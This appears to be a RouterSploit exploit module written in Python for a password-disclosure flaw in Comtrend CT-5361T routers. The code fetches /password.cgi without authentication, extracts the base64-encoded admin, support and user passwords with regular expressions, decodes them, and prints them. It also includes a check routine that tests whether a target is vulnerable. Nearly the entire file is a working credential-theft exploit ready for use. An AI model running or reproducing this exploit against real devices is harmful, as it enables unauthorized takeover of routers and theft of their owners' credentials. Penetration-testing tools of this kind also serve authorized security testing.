from base64 import b64decode
import re

from routersploit import (
    exploits,
    print_status,
    print_error,
    print_success,
    print_table,
    http_request,
    mute,
    validators,
)


class Exploit(exploits.Exploit):
    """
    Exploit implementation for Comtrend CT-5361T Password Disclosure vulnerability.
    If the target is vulnerable it allows to read credentials for admin, support and user."
    """
    __info__ = {
        'name': 'Comtrend CT 5361T Password Disclosure',
        'description': 'WiFi router Comtrend CT 5361T suffers from a Password Disclosure Vulnerability',
        'authors': [
            'TUNISIAN CYBER',  # routersploit module
        ],
        'references': [
            'https://packetstormsecurity.com/files/126129/Comtrend-CT-5361T-Password-Disclosure.html'
        ],
        'devices': [
            'Comtrend CT 5361T (more likely CT 536X)',
        ]
    }

    target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url)  # target address
    port = exploits.Option(80, 'Target port')  # default port

    def run(self):
        if self.check():
            url = "{}:{}/password.cgi".format(self.target, self.port)
            print_status("Requesting for {}".format(url))

            response = http_request(method="GET", url=url)
            if response is None:
                return

            regexps = [("admin", "pwdAdmin = '(.+?)'"),
                       ("support", "pwdSupport = '(.+?)'"),
                       ("user", "pwdUser = '(.+?)'")]

            creds = []
            for regexp in regexps:
                res = re.findall(regexp[1], response.text)

                if len(res):
                    creds.append((regexp[0], b64decode(res[0])))

            if len(creds):
                print_success("Credentials found!")
                headers = ("Login", "Password")
                print_table(headers, *creds)
                print("NOTE: Admin is commonly implemented as root")
            else:
                print_error("Credentials could not be found")
        else:
            print_error("Device seems to be not vulnerable")

    @mute
    def check(self):
        url = "{}:{}/password.cgi".format(self.target, self.port)

        response = http_request(method="GET", url=url)
        if response is None:
            return False  # target is not vulnerable

        regexps = ["pwdAdmin = '(.+?)'",
                   "pwdSupport = '(.+?)'",
                   "pwdUser = '(.+?)'"]

        for regexp in regexps:
            res = re.findall(regexp, response.text)

            if len(res):
                try:
                    b64decode(res[0])  # checking if data is base64 encoded
                except:
                    return False  # target is not vulnerable
            else:
                return False  # target is not vulnerable

        return True  # target is vulnerable
